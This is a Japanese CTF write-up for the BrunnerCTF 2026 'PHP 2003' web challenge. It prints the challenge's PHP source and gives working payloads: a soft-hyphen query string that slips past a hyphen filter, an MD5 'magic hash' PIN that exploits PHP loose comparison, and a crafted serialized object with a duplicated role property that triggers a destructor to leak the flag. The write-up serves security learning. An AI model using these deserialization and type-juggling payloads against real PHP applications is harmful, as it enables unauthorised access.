BrunnerCTF 2026
PHP 2003
index.php
<?php
declare(strict_types=1);
const ACCESS_CODE_HASH = '0e769468064680399918991535722650';
final class Voucher
{
public function __toString(): string
{
return getenv('WEBHOTEL_LICENSE_KEY') ?: 'brunner{REDACTED}';
}
}
final class Receipt
{
public bool $flushOnShutdown = false;
public mixed $voucher = null;
public function __destruct()
{
if ($this->flushOnShutdown && $this->voucher instanceof Voucher) {
$flag = htmlspecialchars((string) $this->voucher, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
echo '<div class="result flag">' . $flag . '</div>';
}
}
}
final class Booking
{
public string $user = '';
public string $role = 'guest';
public mixed $receipt = null;
}
function legacy_cgi_request(): bool
{
$raw = $_SERVER['QUERY_STRING'] ?? '';
$decoded = urldecode($raw);
if (str_contains($decoded, '-')) {
return false;
}
$normalized = str_replace("\u{00AD}", '-', $decoded);
return trim($normalized) === '-d webhotel.legacy=1';
}
function first_serialized_string(string $serialized, string $property): ?string
{
$name = preg_quote($property, '/');
$pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';
if (!preg_match($pattern, $serialized, $match)) {
return null;
}
return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}
$message = '';
$messageClass = 'error';
$destroyBooking = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$staffPin = (string) ($_POST['staff_pin'] ?? '');
$encodedReservation = (string) ($_POST['reservation_export'] ?? '');
$reservation = base64_decode($encodedReservation, true);
if (!legacy_cgi_request()) {
$message = 'The reservation service is unavailable.';
} elseif (md5($staffPin) != ACCESS_CODE_HASH) {
$message = 'Recovery code rejected.';
} elseif ($reservation === false) {
$message = 'Reservation export rejected.';
} elseif (first_serialized_string($reservation, 'role') !== 'guest') {
$message = 'Only customer reservations can be imported.';
} else {
$booking = @unserialize($reservation, [
'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
]);
if (!$booking instanceof Booking) {
$message = 'Reservation export could not be read.';
} elseif ($booking->role !== 'admin') {
$message = 'A staff reservation is required.';
} elseif (!$booking->receipt instanceof Receipt) {
$message = 'Receipt missing from reservation export.';
} else {
$booking->receipt->flushOnShutdown = true;
$destroyBooking = $booking;
$message = 'Reservation imported.';
$messageClass = 'ok';
}
}
}
?>
ソースコード解析
この問題では、主に次の3つの挙動を組み合わせて認証を突破し、Receipt::__destruct() から flag を出力します。
- ソフトハイフンを利用した
legacy_cgi_request()のチェック回避 - PHP の緩い比較を利用した MD5 magic hash
- serialize 文字列内で
roleを二重定義し、事前チェックとunserialize()後の値を食い違わせる
1. legacy_cgi_request() を通す
function legacy_cgi_request(): bool
{
$raw = $_SERVER['QUERY_STRING'] ?? '';
$decoded = urldecode($raw);
if (str_contains($decoded, '-')) {
return false;
}
$normalized = str_replace("\u{00AD}", '-', $decoded);
return trim($normalized) === '-d webhotel.legacy=1';
}
QUERY_STRING を URL デコードした時点で通常のハイフン - が含まれていると false になります。
一方、U+00AD の SOFT HYPHEN(ソフトハイフン) は最初のチェックでは - と一致しません。その後の str_replace() でソフトハイフンが通常の - に置換されるため、最終的に次の文字列へ正規化できます。
-d webhotel.legacy=1
そのため、クエリには UTF-8 のソフトハイフン C2 AD を URL エンコードした %C2%AD を使用します。
POST /index.php?%C2%ADd%20webhotel.legacy%3D1
2. MD5 magic hash で staff_pin のチェックを突破する
const ACCESS_CODE_HASH = '0e769468064680399918991535722650';
elseif (md5($staffPin) != ACCESS_CODE_HASH) {
$message = 'Recovery code rejected.';
}
ここでは厳密比較の !== ではなく、型変換を伴う緩い比較 != が使われています。
ACCESS_CODE_HASH は 0e に続いて数字だけが並ぶ文字列です。このような文字列は数値比較時に指数表記として解釈され、数値の 0 として扱われます。
同様に MD5 が 0e + 数字のみになる入力を与えれば、異なるハッシュ文字列でも数値比較では 0 == 0 となり、チェックを突破できます。
240610708 の MD5 は次の値になります。
0e462097431906509019562988736854
したがって、次の値を送信します。
staff_pin=240610708
3. role の事前チェックと unserialize() 後の値を食い違わせる
reservation_export は Base64 デコードされた後、まず first_serialized_string() で role が guest か確認されます。
function first_serialized_string(string $serialized, string $property): ?string
{
$name = preg_quote($property, '/');
$pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';
if (!preg_match($pattern, $serialized, $match)) {
return null;
}
return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}
この正規表現は serialize 文字列内で最初に現れる role を取得します。そのため、最初の role を guest にすれば事前チェックを通過できます。
その後、unserialize() された Booking オブジェクトでは role が admin である必要があります。
$booking = @unserialize($reservation, [
'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
]);
if (!$booking instanceof Booking) {
// ...
} elseif ($booking->role !== 'admin') {
// ...
}
そこで serialize 文字列中に同じ public プロパティ role を2回入れます。
- 1つ目:
role = guest→ 正規表現による事前チェック用 - 2つ目:
role = admin→unserialize()後のチェック用
この環境では後から復元された同名プロパティの値が残るため、事前チェックでは guest、復元後は admin という状態を作れます。
4. Receipt と Voucher を組み込む
最終的に必要な serialize 文字列は次のようになります。
O:7:"Booking":4:{s:4:"user";s:0:"";s:4:"role";s:5:"guest";s:4:"role";s:5:"admin";s:7:"receipt";O:7:"Receipt":2:{s:15:"flushOnShutdown";b:0;s:7:"voucher";O:7:"Voucher":0:{}}}
構造を分解すると以下の通りです。
O:7:"Booking":4:{
s:4:"user";s:0:"";
s:4:"role";s:5:"guest";
s:4:"role";s:5:"admin";
s:7:"receipt";O:7:"Receipt":2:{
s:15:"flushOnShutdown";b:0;
s:7:"voucher";O:7:"Voucher":0:{}
}
}
O は object、s は string、b は boolean を表します。
Booking の receipt には Receipt オブジェクトを入れ、さらに Receipt::$voucher には Voucher オブジェクトを入れておきます。
初期状態の flushOnShutdown は false ですが、すべての検証を通過するとアプリケーション側で true に変更されます。
$booking->receipt->flushOnShutdown = true;
$destroyBooking = $booking;
5. __destruct() から flag を表示する
public function __destruct()
{
if ($this->flushOnShutdown && $this->voucher instanceof Voucher) {
$flag = htmlspecialchars((string) $this->voucher, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
echo '<div class="result flag">' . $flag . '</div>';
}
}
リクエスト処理の終了時に Receipt::__destruct() が実行されます。
この時、
flushOnShutdown === truevoucher instanceof Voucher
の2条件を満たしているため、Voucher が文字列化されます。
public function __toString(): string
{
return getenv('WEBHOTEL_LICENSE_KEY') ?: 'brunner{REDACTED}';
}
Voucher::__toString() は環境変数 WEBHOTEL_LICENSE_KEY を返すため、最終的に flag がレスポンスへ出力されます。
Exploit の流れ
- クエリに
%C2%ADd%20webhotel.legacy%3D1を指定します。 staff_pin=240610708を指定して MD5 magic hash を利用します。guestとadminの2つのroleを含む serialize 文字列を作成します。ReceiptのvoucherにVoucherオブジェクトを入れます。- serialize 文字列を Base64 エンコードして
reservation_exportとして送信します。 - インポート成功後、
flushOnShutdownがtrueに変更され、リクエスト終了時のデストラクタで flag が表示されます。